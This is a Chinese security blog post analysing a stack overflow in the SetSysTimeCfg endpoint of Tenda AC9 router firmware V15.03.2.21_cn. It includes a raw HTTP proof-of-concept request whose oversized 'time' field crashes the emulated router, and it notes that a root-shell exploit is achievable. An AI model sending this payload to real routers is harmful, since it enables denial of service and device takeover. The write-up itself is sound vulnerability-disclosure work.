点击上方蓝字“Ots安全”一起玩耍
概述
厂家网站信息：https://www.tenda.com.cn/profile/contact.html
固件下载地址：https ://www.tenda.com.cn/download/default.html
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受影响的版本
图1为路由器最新固件Ba
漏洞详情
通过分析发现存在典型的栈溢出漏洞V20是时间参数。怎么进入这个分支我们需要把S1的值设置为手动上去
可以发现，当程序调用这个接口的时候，timetype会被设置为sync，那么下面我们就进入正常的时间设置流程了
这是界面，但是我们没有找到设置时间的地方，但是手动设置时间存在溢出点所以需要自己构造一个包
POST /goform/SetSysTimeCfg HTTP/1.1Host: 192.168.11.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 2038Origin: http://192.168.11.1Connection: closeReferer: http://192.168.11.1/system_time.html?random=0.1562532683666097&Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcddm1qwtimeType=manual&time=2021-1-20%2010:21
这里按照sscanf的规律，猜测时间格式年月日时：分，然后我们在任意匹配的位置添加大量字符，导致栈溢出漏洞
反复出现的漏洞和 POC
为了重现漏洞，可以遵循以下步骤：
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使用胖子模拟固件V15.03.2.21_cn
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使用以下 POC 攻击进行攻击
POST /goform/SetSysTimeCfg HTTP/1.1Host: 192.168.11.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 2038Origin: http://192.168.11.1Connection: closeReferer: http://192.168.11.1/system_time.html?random=0.1562532683666097&Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcddm1qwtimeType=manual&time=2021aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaeaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae-1-20%2010:21
复现结果如下：
图2 POC攻击效果
最后可以写exp，可以达到很稳定的获取root shell的效果
原文始发于微信公众号（Ots安全）：腾达AC9 V15.03.2.21_cn栈溢出分析
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